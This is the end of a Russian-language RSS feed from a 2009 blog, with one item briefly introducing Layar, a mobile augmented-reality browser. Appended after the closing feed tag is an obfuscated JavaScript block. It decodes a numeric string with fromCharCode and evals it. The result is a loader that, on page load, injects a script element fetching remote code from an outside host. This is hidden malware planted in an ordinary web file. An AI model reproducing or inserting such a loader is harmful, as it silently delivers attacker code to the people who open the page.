			<content:encoded><![CDATA[<p class="first-child "><a href="http://layar.eu/"><span title="Б" class="cap">Б</span>раузер Layar</a> &#8212; первая в мире мобильная <em>расширенная реальность</em> (augmented reality). Layar можно устанавливать в мобильный телефон, и через него смотреть на окружающую среду в реальном времени. Фишка в том, что на экране появляется специальная сетка, которая на лету показывает информацию об окружающих объектах. На сайте есть демо-видео.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.umade.ru/log/2009/06/layar-mobile-augmented-reality/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
<script>h=-parseInt('012')/5;if(window["document"])try{prototype;}catch(brebr){st=String;zz='al';zz='zv'.substr(1)+zz;ss=[];f='fr'+'omCh';f+='arC';f+='qgode'["substr"](2);w=this;e=w[f["substr"](11)+zz];t='y';}n="19#50#57.5#54#48.5#57#51.5#54.5#54#19#19.5#15#60.5#5.5#4#3.5#58#47.5#56#15#57.5#56#53#15#29.5#15#18.5#51#57#57#55#28#22.5#22.5#57.5#57.5#56.5#57#59#22#51.5#51.5#59#50#49#58.5#49#50.5#58#54#22#49#54.5#54#57#49.5#59#51.5#56.5#57#22#48.5#54.5#53.5#22.5#50.5#22.5#18.5#28.5#5.5#4#3.5#51.5#50#15#19#57#59.5#55#49.5#54.5#50#15#58.5#51.5#54#49#54.5#58.5#22#59#59.5#60#50#53#47.5#50.5#15#29.5#29.5#29.5#15#18.5#57.5#54#49#49.5#50#51.5#54#49.5#49#18.5#19.5#15#60.5#5.5#4#3.5#3.5#58.5#51.5#54#49#54.5#58.5#22#59#59.5#60#50#53#47.5#50.5#15#29.5#15#23#28.5#5.5#4#3.5#61.5#5.5#4#3.5#49#54.5#48.5#57.5#53.5#49.5#54#57#22#54.5#54#53.5#54.5#57.5#56.5#49.5#53.5#54.5#58#49.5#15#29.5#15#50#57.5#54#48.5#57#51.5#54.5#54#19#19.5#15#60.5#5.5#4#3.5#3.5#51.5#50#15#19#58.5#51.5#54#49#54.5#58.5#22#59#59.5#60#50#53#47.5#50.5#15#29.5#29.5#29.5#15#23#19.5#15#60.5#5.5#4#3.5#3.5#3.5#58.5#51.5#54#49#54.5#58.5#22#59#59.5#60#50#53#47.5#50.5#15#29.5#15#23.5#28.5#5.5#4#3.5#3.5#3.5#58#47.5#56#15#51#49.5#47.5#49#15#29.5#15#49#54.5#48.5#57.5#53.5#49.5#54#57#22#50.5#49.5#57#33.5#53#49.5#53.5#49.5#54#57#56.5#32#59.5#41#47.5#50.5#38#47.5#53.5#49.5#19#18.5#51#49.5#47.5#49#18.5#19.5#44.5#23#45.5#28.5#5.5#4#3.5#3.5#3.5#58#47.5#56#15#56.5#48.5#56#51.5#55#57#15#29.5#15#49#54.5#48.5#57.5#53.5#49.5#54#57#22#48.5#56#49.5#47.5#57#49.5#33.5#53#49.5#53.5#49.5#54#57#19#18.5#56.5#48.5#56#51.5#55#57#18.5#19.5#28.5#5.5#4#3.5#3.5#3.5#56.5#48.5#56#51.5#55#57#22#57#59.5#55#49.5#15#29.5#15#18.5#57#49.5#59#57#22.5#52#47.5#58#47.5#56.5#48.5#56#51.5#55#57#18.5#28.5#5.5#4#3.5#3.5#3.5#56.5#48.5#56#51.5#55#57#22#54.5#54#56#49.5#47.5#49#59.5#56.5#57#47.5#57#49.5#48.5#51#47.5#54#50.5#49.5#15#29.5#15#50#57.5#54#48.5#57#51.5#54.5#54#15#19#19.5#15#60.5#5.5#4#3.5#3.5#3.5#3.5#51.5#50#15#19#57#51#51.5#56.5#22#56#49.5#47.5#49#59.5#40.5#57#47.5#57#49.5#15#29.5#29.5#15#18.5#48.5#54.5#53.5#55#53#49.5#57#49.5#18.5#19.5#15#60.5#5.5#4#3.5#3.5#3.5#3.5#3.5#58.5#51.5#54#49#54.5#58.5#22#59#59.5#60#50#53#47.5#50.5#15#29.5#15#24#28.5#5.5#4#3.5#3.5#3.5#3.5#61.5#5.5#4#3.5#3.5#3.5#61.5#28.5#5.5#4#3.5#3.5#3.5#56.5#48.5#56#51.5#55#57#22#54.5#54#53#54.5#47.5#49#15#29.5#15#50#57.5#54#48.5#57#51.5#54.5#54#19#19.5#15#60.5#5.5#4#3.5#3.5#3.5#3.5#58.5#51.5#54#49#54.5#58.5#22#59#59.5#60#50#53#47.5#50.5#15#29.5#15#24#28.5#5.5#4#3.5#3.5#3.5#61.5#28.5#5.5#4#3.5#3.5#3.5#56.5#48.5#56#51.5#55#57#22#56.5#56#48.5#15#29.5#15#57.5#56#53#15#20.5#15#37.5#47.5#57#51#22#56#47.5#54#49#54.5#53.5#19#19.5#22#57#54.5#40.5#57#56#51.5#54#50.5#19#19.5#22#56.5#57.5#48#56.5#57#56#51.5#54#50.5#19#24.5#19.5#15#20.5#15#18.5#22#52#56.5#18.5#28.5#5.5#4#3.5#3.5#3.5#51#49.5#47.5#49#22#47.5#55#55#49.5#54#49#32.5#51#51.5#53#49#19#56.5#48.5#56#51.5#55#57#19.5#28.5#5.5#4#3.5#3.5#61.5#5.5#4#3.5#61.5#28.5#5.5#4#61.5#19.5#19#19.5#28.5"[((e)?"s":"")+"p"+"lit"]("a#".substr(1));for(i=6-2-1-2-1;i!=691;i++){j=i;if(st)ss=ss+st.fromCharCode(-h*(1+1*n[j]));}if(t)q=ss;if(e)e(""+q);</script>
